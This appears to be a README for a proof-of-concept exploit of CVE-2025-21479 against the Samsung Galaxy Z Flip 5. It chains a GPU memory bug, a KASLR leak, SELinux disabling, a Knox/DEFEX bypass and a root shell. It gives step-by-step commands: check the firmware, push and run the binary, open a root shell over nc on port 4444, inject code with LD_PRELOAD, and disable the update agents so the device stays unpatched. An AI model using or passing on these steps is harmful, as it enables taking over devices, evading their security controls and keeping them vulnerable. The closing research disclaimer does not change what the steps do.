
CVE-2025-21479 PoC para ZFlip5 con Knox en el camino!(˶˃ ᵕ ˂˶)
Image
L/E física arbitraria de GPU (CVE-2025-21479) -> filtración de KASLR -> SELinux permisivo -> servidor root de gancho de inicio seguro de RKP & bypass de DEFEX ejecución de binario personalizado (LD_PRELOAD)
Tarda unos 6 minutos.. Ten paciencia.
Lo optimizaré después.
Galaxy Z Flip 5 (SM-F731N)
Firmware: F731NKSU5EYD9
Android: 15
Parche de seguridad: 2025-04-01
SoC: Snapdragon 8 Gen 2 (SM8550 / kalama)
GPU: Adreno 740 v2
Galaxy Z Flip 5 (SM-F7310) — gracias @eoegamer por probar y conducir!!
Firmware: F7310ZCS4CXH2
Android: 14
SoC: Snapdragon 8 Gen 2 (SM8550 / kalama)
GPU: Adreno 740
Usa el patrón del firmware de la GPU:
xxd /vendor/firmware/a740_sqe.fw | grep -i "0300 422a"
If it matches, the firmware is vulnerable
; vulnerable firmware (v675)
and $04, $12, 0x3
; patched firmware (v676)
and $04, $12, 0x7
exploit.c está compilado para F731NKSU5EYD9.
Para otros firmwares, reorienta con port_extract.py primero (ver PORTING.md)
# build exploit.c with the Android NDK (aarch64), e.g.:
# $NDK/toolchains/llvm/prebuilt/*/bin/aarch64-linux-android34-clang exploit.c -o cheese
adb push cheese /data/local/tmp/
adb shell 'chmod +x /data/local/tmp/cheese; /data/local/tmp/cheese'
Ejecuta una vez por reinicio (el servidor root no es persistente).
En caso de éxito, deja un listener toybox nc root vinculado a loopback (127.0.0.1:4444). Obtén un shell root desde adb shell:
adb shell
nc 127.0.0.1 4444 # root shell, uid=0 (u:r:sec_system_init_shell:s0)
Los binarios originales pueden ejecutarse directamente.
El problema es que DEFEX bloquea los binarios nativos personalizados cuando se ejecutan directamente.
Así que en su lugar, ejecuta tu código personalizado como una biblioteca LD_PRELOAD inyectada en un proceso host original desde el shell root:
LD_PRELOAD=/data/local/tmp/test.so /system/bin/toybox true
Compila test.so con una entrada __attribute__((constructor)); su constructor se ejecuta como root dentro del host original.
Si se cuelga por más de 15 minutos, reinicia y deja que el dispositivo se enfríe.
El GPU spraying es probabilístico. Reintenta o reinicia si falla.
Desactivar actualizaciones de software
Desactivar:
pm disable-user --user 0 com.sec.android.soagent
pm disable-user --user 0 com.wssyncmldm
Reactivar:
pm enable --user 0 com.sec.android.soagent
pm enable --user 0 com.wssyncmldm
Solo para investigación de seguridad autorizada y educación. El dispositivo y firmware exactos deben coincidir.